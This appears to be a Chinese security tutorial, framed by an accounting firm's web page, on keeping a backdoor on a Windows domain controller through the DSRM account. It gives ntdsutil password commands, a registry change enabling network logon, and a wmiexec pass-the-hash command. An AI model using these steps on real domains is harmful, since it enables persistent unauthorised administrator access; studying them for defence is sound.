您好,欢迎访问代理记账网站
  • 价格透明
  • 信息保密
  • 进度掌控
  • 售后无忧

域权限维持-DSRM

域权限维持-DSRM

  • 简介
  • 更改DSRM密码的方式
    • 通过明文指定
    • 通过域账户同步
  • DSRM利用
    • 使用DSRM账户连接的前提
    • 使用psexec或者wmiexec进行链接
  • 参考文章

简介

除了krbtgt服务帐号外,域控上还有个可利用的账户:目录服务还原模式(DSRM)账户,这个密码是在DC安装的时候设置的,所以一般不会被修改。但是微软对DSRM帐号进行了限制,只允许在控制台登录。可以通过修改注册表的方式,将如下注册表键值: HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior 中的DSRMAdminLogonBehavior改为2,就可以通过网络验证并登录到DC。这样DSRM账户就可以看做一个本地管理员帐号。可以通过导出的HASH结合PTH方式,持续控制DC,即使域内用户密码都进行了修改也可以利用。

更改DSRM密码的方式

通过明文指定

ntdsutil  
set dsrm password 
reset password on server null 
<PASSWORD> #Zz1234.
q
q

在这里插入图片描述

通过域账户同步

ntdsutil 
set dsrm password 
sync from domain account <your user here>
q
q
# Qq1234.

在这里插入图片描述

DSRM利用

这里的DSRM相当于一个本地账户
在更改时只是更改了sam数据库

使用DSRM账户连接的前提

(1)系统要求:在安装了KB961320补丁的Windows Server 2008及之后的Windows Server版本开始支持在DC上使用指定的域帐户同步DSRM密码
(2)更改DSRM的密码方式:同步域用户的方式
(3)开启支持DSRM账户网络连接:需要修改注册表项,默认没有改项

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2

powershell

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType "DWORD"

需要一个域账户的hash
并且需要注意是否会同步域账户(同步dsrm账户后,后门即失效)
域控重启后会失效

使用psexec或者wmiexec进行链接

wmiexec.py dc/administrator@192.168.164.129 -hashes :aa4390bb75acbd6230d5467c1a2a466e
# 机器名/用户@ip ntlmhash

在这里插入图片描述
sam
在这里插入图片描述
域用户
在这里插入图片描述

参考文章

tangsan/e488a4cdd773
https://www.freebuf.com/articles/system/80968.html


分享:

低价透明

统一报价,无隐形消费

金牌服务

一对一专属顾问7*24小时金牌服务

信息保密

个人信息安全有保障

售后无忧

服务出问题客服经理全程跟进